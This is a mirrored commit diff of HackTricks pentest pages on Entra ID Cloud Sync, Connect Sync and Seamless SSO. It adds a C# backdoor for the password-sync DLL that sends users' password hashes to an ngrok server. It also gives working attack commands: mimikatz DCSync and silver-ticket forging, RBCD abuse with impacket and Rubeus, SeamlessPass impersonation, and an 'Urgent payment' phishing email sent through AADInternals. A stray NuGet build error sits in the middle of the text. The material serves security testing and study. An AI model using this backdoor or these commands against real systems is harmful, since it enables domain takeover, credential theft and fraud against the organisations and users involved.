mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-26 20:54:14 -08:00
improvements
This commit is contained in:
carlospolop
@@ -26,7 +26,7 @@ In order for this to work some principals are created in both Entra ID and the O
|
||||
> Among other permissions the Service Account **`provAgentgMSA`** has DCSync permissions, allowing **anyone that compromises it to compromise the whole directory**. For more information about [DCSync check this](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
|
||||
> [!NOTE]
|
||||
> Domain admins are not replicated because the Domain Admin group has the **`adminCount` attribute to 1**. But other users might be replicated and attackable if you compromises them from EntraID: https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/
|
||||
> By default users of known privileged groups like Domain Admins with the attribute **`adminCount` to 1 are not synchronized** with Entra ID for security reasons. However, other users that are part of privileged groups without this attribute or that are assigned high privileges directly **can be synchronized**.
|
||||
|
||||
## Password Sychronization
|
||||
|
||||
@@ -38,6 +38,7 @@ az-connect-sync.md
|
||||
|
||||
- **Password hash synchronization** can be enabled so users will be able to **login into Entra ID using their passwords from AD**. Moreover, whenever a password is modified in AD, it'll be updated in Entra ID.
|
||||
- **Password writeback** can also be enabled, allowing users to modify their password in Entra ID automatically synchronizing their password in the on-premise domain. But according to the [current docs](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), for this is needed to use the Connect Agent, so take a look to the [Az Connect Sync section](./az-connect-sync.md) for more information.
|
||||
- **Groups writeback**: This feature allows group memberships from Entra ID to be synchronized back to the on-premises AD. This means that if a user is added to a group in Entra ID, they will also be added to the corresponding group in AD.
|
||||
|
||||
|
||||
## Pivoting
|
||||
@@ -84,12 +85,55 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Note that There isn't any way to give Azure or EntraID roles to synced users based on its attributes for example in the Cloud Sync configurations. However, in order to automatically grant permissions to synced users **dynamic groups might be used**, so always check for dynamic rules and potential ways to abuse them:
|
||||
> Note that There isn't any way to give Azure or EntraID roles to synced users based on its attributes for example in the Cloud Sync configurations. However, in order to automatically grant permissions to synced users some **Entra ID groups from AD** might be given permissions so the synced users inside those groups also receive them or **dynamic groups might be used**, so always check for dynamic rules and potential ways to abuse them:
|
||||
|
||||
{{#ref}}
|
||||
../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
Regarding persistence [this blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) suggest that it's possible to use [**dnSpy**](https://github.com/dnSpy/dnSpy) to backdoor the dll **`Microsoft.Online.Passwordsynchronisation.dll`** located in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** that is used by the Cloud Sync agent to perform the password synchronization making it exfiltrate the password hashes of the users being synchronized to a remote server. The hashes are generated inside the class **`PasswordHashGenerator`** and the blog post suggest adding some code so the class looks like (note the `use System.Net` and the `WebClient` usage to exfiltrate the password hashes):
|
||||
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;
|
||||
|
||||
namespace Microsoft.Online.PasswordSynchronization
|
||||
{
|
||||
// Token: 0x0200003E RID: 62
|
||||
public class PasswordHashGenerator : ClearPasswordHashGenerator
|
||||
{
|
||||
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
|
||||
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
|
||||
{
|
||||
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
|
||||
try
|
||||
{
|
||||
using (WebClient webClient = new WebClient())
|
||||
{
|
||||
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
return new PasswordHashData
|
||||
{
|
||||
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
|
||||
RawHash = passwordHashData.RawHash
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
|
||||
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
|
||||
. Please see Error List window for detailed warnings and errors.
|
||||
|
||||
|
||||
|
||||
### Entra ID --> AD
|
||||
|
||||
- If **Password Writeback** is enabled, you could modify the password of some users from Entra ID and if you have access to the AD network, connect using them. For more info check the [Az Connect Sync section](./az-connect-sync.md) section for more information as the password writeback is configured using that agent.
|
||||
@@ -105,25 +149,15 @@ So the attack surface (and usefulness) of this service is greatly reduced as an
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
Import-Module AADInternals
|
||||
|
||||
# Check if the Cloud Sync is enabled in the tenant
|
||||
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
|
||||
|
||||
# Check for the gMSA SA
|
||||
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
|
||||
|
||||
|
||||
|
||||
|
||||
# Get all the configured cloud sync agents (usually one per on-premise domain)
|
||||
## In the machine name of each you can infer the name of the domain
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
|
||||
```
|
||||
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) is a main component of Microsoft Entra Connect. It takes care of all the operations that are related to synchronize identity data between your on-premises environment and Microsoft Entra ID.
|
||||
|
||||
In order to use it, it's needed to install the **`Microsoft Entra Connect Sync`** agent in a server inside your AD enviroment. This agent will be the one taking care of the synchronization from the AD side.
|
||||
In order to use it, it's needed to install the **`Microsoft Entra Connect Sync`** agent in a server inside your AD environment. This agent will be the one taking care of the synchronization from the AD side.
|
||||
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
@@ -21,7 +21,7 @@ az-cloud-sync.md
|
||||
|
||||
- The account **`MSOL_<installationID>`** is automatically created in the on-prem AD. This account is given a **Directory Synchronization Accounts** role (see [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) which means that it has **replication (DCSync) permissions in the on-prem AD**.
|
||||
- This means that anyone that compromises this account will be able to compromise the on-premise domain.
|
||||
- An managed service account **`ADSyncMSA<id>`** is created in the on-prem AD without any special default privileges.
|
||||
- A managed service account **`ADSyncMSA<id>`** is created in the on-prem AD without any special default privileges.
|
||||
- In Entra ID the Service Principal **`ConnectSyncProvisioning_ConnectSync_<id>`** is created with a certificate.
|
||||
|
||||
## Synchronize Passwords
|
||||
@@ -38,6 +38,10 @@ The **hashes syncronization** occurs every **2 minutes**. However, by default, *
|
||||
|
||||
When an on-prem user wants to access an Azure resource, the **authentication takes place on Azure AD**.
|
||||
|
||||
> [!NOTE]
|
||||
> By default users of known privileged groups like Domain Admins with the attribute **`adminCount` to 1 are not synchronized** with Entra ID for security reasons. However, other users that are part of privileged groups without this attribute or that are assigned high privileges directly **can be synchronized**.
|
||||
|
||||
|
||||
### Password Writeback
|
||||
|
||||
This configuration allows to **sychronize passwords from Entra ID into AD** whe a user changes its password in Entra ID. Note that for the password writeback to work the `MSOL_<id>` user automatically generated in the AD needs to be granted [more privileges as indicated in the docs](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) so it'll be able to **modify the passwords of any user in the AD**.
|
||||
@@ -52,11 +56,40 @@ Domain admins and other users belonging to some pivileged groups are not replica
|
||||
- Users from the **`Cert Publishers Group`** that can publish certificates to Active Directory.
|
||||
- Users of any other group with high privileges without the **`adminCount` attribute to 1**.
|
||||
|
||||
## Pivoting
|
||||
## Pivoting AD --> Entra ID
|
||||
|
||||
### AD --> Entra ID
|
||||
### Enumerating Connect Sync
|
||||
|
||||
Passwords of the two previous privileged accounts are **stored in a SQL server** on the server where **Azure AD Connect is installed.** Admins can extract the passwords of those privileged users in clear-text.\
|
||||
Check for users:
|
||||
|
||||
```bash
|
||||
# Check for the users created by the Connect Sync
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
|
||||
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
|
||||
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl
|
||||
|
||||
# Check it using raw LDAP queries without needing an external module
|
||||
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$searcher.Filter = "(samAccountName=MSOL_*)"
|
||||
$searcher.FindAll()
|
||||
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
|
||||
$searcher.FindAll()
|
||||
$searcher.Filter = "(samAccountName=Sync_*)"
|
||||
$searcher.FindAll()
|
||||
```
|
||||
|
||||
Check for the **Connect Sync configuration** (if any):
|
||||
|
||||
```bash
|
||||
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
|
||||
# Check if password sychronization is enabled, if password and group writeback are enabled...
|
||||
```
|
||||
|
||||
### Finding the passwords
|
||||
|
||||
The passwords of the **`MSOL_*`** user (and the **Sync\_\*** user if created) are **stored in a SQL server** on the server where **Entra ID Connect is installed.** Admins can extract the passwords of those privileged users in clear-text.\
|
||||
The database is located in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
|
||||
It's possible to extract the configuration from one of the tables, being one encrypted:
|
||||
@@ -67,18 +100,6 @@ The **encrypted configuration** is encrypted with **DPAPI** and it contains the
|
||||
|
||||
You can find a [full overview of how these credentials are stored and decrypted in this talk](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### Finding the **Azure AD connect server**
|
||||
|
||||
If the **server where Azure AD connect is installed** is domain joined (recommended in the docs), it's possible to find it with:
|
||||
|
||||
```bash
|
||||
# ActiveDirectory module
|
||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
|
||||
|
||||
#Azure AD module
|
||||
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
|
||||
```
|
||||
|
||||
### Abusing MSOL\_\*
|
||||
|
||||
```bash
|
||||
@@ -178,6 +199,11 @@ It's possible to use Seamless SSO with PHS, which is vulnerable to other abuses.
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## Pivoting Entra ID --> AD
|
||||
|
||||
- If password writeback is enabled, you can **modify the password of any user in the AD** that is synchronized with Entra ID.
|
||||
- If groups writeback is enabled, you can **add users to privileged groups** in Entra ID that are synchronized with the AD.
|
||||
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
|
||||
@@ -12,20 +12,75 @@ Basically Azure AD Seamless SSO **signs users** in when they are **on a on-prem
|
||||
|
||||
It's supported by both [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) and [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md).
|
||||
|
||||
Desktop SSO is using **Kerberos** for authentication. When configured, Azure AD Connect creates a **computer account called AZUREADSSOACC`$`** in on-prem AD. The password of the `AZUREADSSOACC$` account is **sent as plain-text to Azure AD** during the configuration.
|
||||
Desktop SSO is using **Kerberos** for authentication. When configured, Azure AD Connect creates a **computer account called `AZUREADSSOACC$`** in on-prem AD. The password of the `AZUREADSSOACC$` account is **sent as plain-text to Entra ID** during the configuration.
|
||||
|
||||
The **Kerberos tickets** are **encrypted** using the **NTHash (MD4)** of the password and Azure AD is using the sent password to decrypt the tickets.
|
||||
The **Kerberos tickets** are **encrypted** using the **NTHash (MD4)** of the password and Entra ID is using the sent password to decrypt the tickets.
|
||||
|
||||
**Azure AD** exposes an **endpoint** (https://autologon.microsoftazuread-sso.com) that accepts Kerberos **tickets**. Domain-joined machine's browser forwards the tickets to this endpoint for SSO.
|
||||
**Entra ID** exposes an **endpoint** (https://autologon.microsoftazuread-sso.com) that accepts Kerberos **tickets**. Domain-joined machine's browser forwards the tickets to this endpoint for SSO.
|
||||
|
||||
### On-prem -> cloud
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# Check if the SSO is enabled in the tenant
|
||||
Import-Module AADInternals
|
||||
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
|
||||
|
||||
# Check if the AZUREADSSOACC$ account exists in the domain
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
|
||||
|
||||
# Check it using raw LDAP queries without needing an external module
|
||||
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
|
||||
$searcher.FindOne()
|
||||
```
|
||||
|
||||
## Pivoting: On-prem -> cloud
|
||||
|
||||
> [!WARNING]
|
||||
> The main thing to know about this attack is that just having the TGT or a specific TGS of a user that is synchronized with Entra ID is enough to access the cloud resources.\
|
||||
> This is because it's a ticket what is allowing a user to login into the cloud.
|
||||
|
||||
In order to obtain that TGS ticket, the attacker needs to have one of the following:
|
||||
- **A compromised user's TGS:** If you compromise a user's session with the ticket to `HTTP/autologon.microsoftazuread-sso.com` in memory, you can use it to access the cloud resources.
|
||||
- **A compromised user's TGT:** Even if you don't have one but the user was compromised, you can get one using fake TGT delegation trick implemented in many tools such as [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) and [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **A compromised user’s hash or password:** SeamlessPass will communicate with the domain controller with this information to generate the TGT and then the TGS.
|
||||
- **A golden ticket:** If you have the KRBTGT key, you can create the TGT you need for the attacked user.
|
||||
- **The AZUREADSSOACC$ account hash or password:** With this info and the user’s Security Identifier (SID) to attack it's possible to create a service ticket an authenticate with the cloud (as performed in the previous method).
|
||||
|
||||
|
||||
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
|
||||
|
||||
As [explained in this blog post](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), having any of the previous requirements it's very easy to just use the tool **SeamlessPass** to access the cloud resources as the compromise user, or as any user if you have the **`AZUREADSSOACC$`** account hash or password.
|
||||
|
||||
Finally, with the TGT it's possible to use the tool [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) with:
|
||||
|
||||
```bash
|
||||
# Using the TGT to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
|
||||
# Using the TGS to access the cloud
|
||||
seamlesspass -tenant corp.com -tgs user_tgs.ccache
|
||||
# Using the victims account hash or password to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
|
||||
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
|
||||
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
|
||||
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
|
||||
wmic useraccount get name,sid # Get the user SIDs
|
||||
```
|
||||
|
||||
Further information to set Firefox to work with seamless SSO can be [**found in this blog post**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
|
||||
|
||||
### Getting hashes of the AZUREADSSOACC$ account
|
||||
|
||||
The **password** of the user **`AZUREADSSOACC$` never changes**. Therefore, a domain admin could compromise the **hash of this account**, and then use it to **create silver tickets** to connect to Azure with **any on-prem user synced**:
|
||||
|
||||
```bash
|
||||
# Dump hash using mimikatz
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
|
||||
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
|
||||
|
||||
# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
|
||||
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
|
||||
@@ -40,6 +95,12 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> With the current information you could just use the tool **SeamlessPass** as indicated previously to get azure and entraid tokens for any user in the domain.
|
||||
> You could also use the previous techniques (and other) to get the hash of the password of the victim you want to impersonate instead of the `AZUREADSSOACC$` account.
|
||||
|
||||
#### Creating Silver Tickets
|
||||
|
||||
With the hash you can now **generate silver tickets**:
|
||||
|
||||
```bash
|
||||
@@ -47,8 +108,8 @@ With the hash you can now **generate silver tickets**:
|
||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||
|
||||
# Create a silver ticket to connect to Azure with mimikatz
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
|
||||
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
|
||||
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
|
||||
|
||||
# Create silver ticket with AADInternal to access Exchange Online
|
||||
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
|
||||
@@ -57,41 +118,76 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
|
||||
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
|
||||
```
|
||||
|
||||
### Using Silver Tickets with Firefox
|
||||
|
||||
To utilize the silver ticket, the following steps should be executed:
|
||||
|
||||
1. **Initiate the Browser:** Mozilla Firefox should be launched.
|
||||
2. **Configure the Browser:**
|
||||
- Navigate to **`about:config`**.
|
||||
- Set the preference for [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) to the specified [values](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
|
||||
- `https://aadg.windows.net.nsatc.net`
|
||||
- `https://autologon.microsoftazuread-sso.com`
|
||||
- Set the preference for [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) to the specified [value](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
|
||||
- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
|
||||
- Navigate to Firefox `Settings` > Search for `Allow Windows single sign-on for Microsoft, work and school accounts` and enable it.
|
||||
3. **Access the Web Application:**
|
||||
- Visit a web application that is integrated with the organization's AAD domain. A common example is [Office 365](https://portal.office.com/).
|
||||
- Visit a web application that is integrated with the organization's AAD domain. A common example is [login.microsoftonline.com](https://login.microsoftonline.com/).
|
||||
4. **Authentication Process:**
|
||||
- At the logon screen, the username should be entered, leaving the password field blank.
|
||||
- To proceed, press either TAB or ENTER.
|
||||
|
||||
> [!TIP]
|
||||
> This doesn't bypass MFA if enabled
|
||||
> [!WARNING]
|
||||
> This **doesn't bypass MFA if enabled** in the user.
|
||||
|
||||
#### Option 2 without dcsync - SeamlessPass
|
||||
|
||||
It's also possible to perform this attack **without a dcsync attack** to be more stealth as [explained in this blog post](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). For that you only need one of the following:
|
||||
### On-prem -> Cloud via Resource Based Constrained Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
- **A compromised user's TGT:** Even if you don't have one but the user was compromised,you can get one using fake TGT delegation trick implemented in many tools such as [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) and [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Golden Ticket**: If you have the KRBTGT key, you can create the TGT you need for the attacked user.
|
||||
- **A compromised user’s NTLM hash or AES key:** SeamlessPass will communicate with the domain controller with this information to generate the TGT
|
||||
- **AZUREADSSOACC$ account NTLM hash or AES key:** With this info and the user’s Security Identifier (SID) to attack it's possible to create a service ticket an authenticate with the cloud (as performed in the previous method).
|
||||
To perform the attack is needed:
|
||||
|
||||
Finally, with the TGT it's possible to use the tool [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) with:
|
||||
- `WriteDACL` / `GenericWrite` over `AZUREADSSOACC$`
|
||||
- A computer account you control (hash & password) - You could create one
|
||||
|
||||
```
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
|
||||
|
||||
1. Step 1 – Add your own computer account
|
||||
- Creates `ATTACKBOX$` and prints its SID/NTLM hash. Any domain user can do this while MachineAccountQuota > 0
|
||||
|
||||
```bash
|
||||
# Impacket
|
||||
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
|
||||
-computer ATTACKBOX$ -password S3cureP@ss
|
||||
```
|
||||
|
||||
Further information to set Firefox to work with seamless SSO can be [**found in this blog post**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
2. Step 2 – Grant RBCD on `AZUREADSSOACC$` - Writes your machine’s SID into `msDS-AllowedToActOnBehalfOfOtherIdentity`.
|
||||
|
||||
#### ~~Creating Kerberos tickets for cloud-only users~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
```bash
|
||||
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
|
||||
ATTACKBOX$ AZUREADSSOACC$
|
||||
|
||||
# Or, from Windows:
|
||||
$SID = (Get-ADComputer ATTACKBOX$).SID
|
||||
Set-ADComputer AZUREADSSOACC$ `
|
||||
-PrincipalsAllowedToDelegateToAccount $SID
|
||||
```
|
||||
|
||||
3. Step 3 – Forge a TGS for any user (e.g. alice)
|
||||
|
||||
```bash
|
||||
# Using your machine's password or NTLM hash
|
||||
python3 getST.py -dc-ip 192.168.1.10 \
|
||||
-spn HTTP/autologon.microsoftazuread-sso.com \
|
||||
-impersonate alice \
|
||||
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
|
||||
|
||||
# Produces alice.autologon.ccache
|
||||
|
||||
#Or, from Windows:
|
||||
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
|
||||
/impersonateuser:alice `
|
||||
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
|
||||
```
|
||||
|
||||
You can now use the **TGS to access Azure resources as the impersonated user.**
|
||||
|
||||
|
||||
### ~~Creating Kerberos tickets for cloud-only users~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
If the Active Directory administrators have access to Azure AD Connect, they can **set SID for any cloud-user**. This way Kerberos **tickets** can be **created also for cloud-only users**. The only requirement is that the SID is a proper [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
|
||||
@@ -99,13 +195,7 @@ If the Active Directory administrators have access to Azure AD Connect, they can
|
||||
> Changing SID of cloud-only admin users is now **blocked by Microsoft**.\
|
||||
> For info check [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
|
||||
### On-prem -> Cloud via Resource Based Constrained Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Anyone that can manage computer accounts (`AZUREADSSOACC$`) in the container or OU this account is in, it can **configure a resource based constrained delegation over the account and access it**.
|
||||
|
||||
```python
|
||||
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
|
||||
Reference in New Issue
Block a user